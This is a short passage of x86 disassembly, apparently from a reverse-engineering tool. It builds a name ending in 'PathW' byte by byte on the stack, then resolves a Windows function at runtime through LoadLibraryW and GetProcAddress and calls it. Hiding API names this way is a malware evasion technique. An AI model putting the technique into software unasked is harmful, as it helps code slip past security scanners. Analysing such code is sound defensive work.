mov byte [ebp - 0x16], 0x50
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x68
mov byte [ebp - 0x12], 0x57
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x402fc7
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret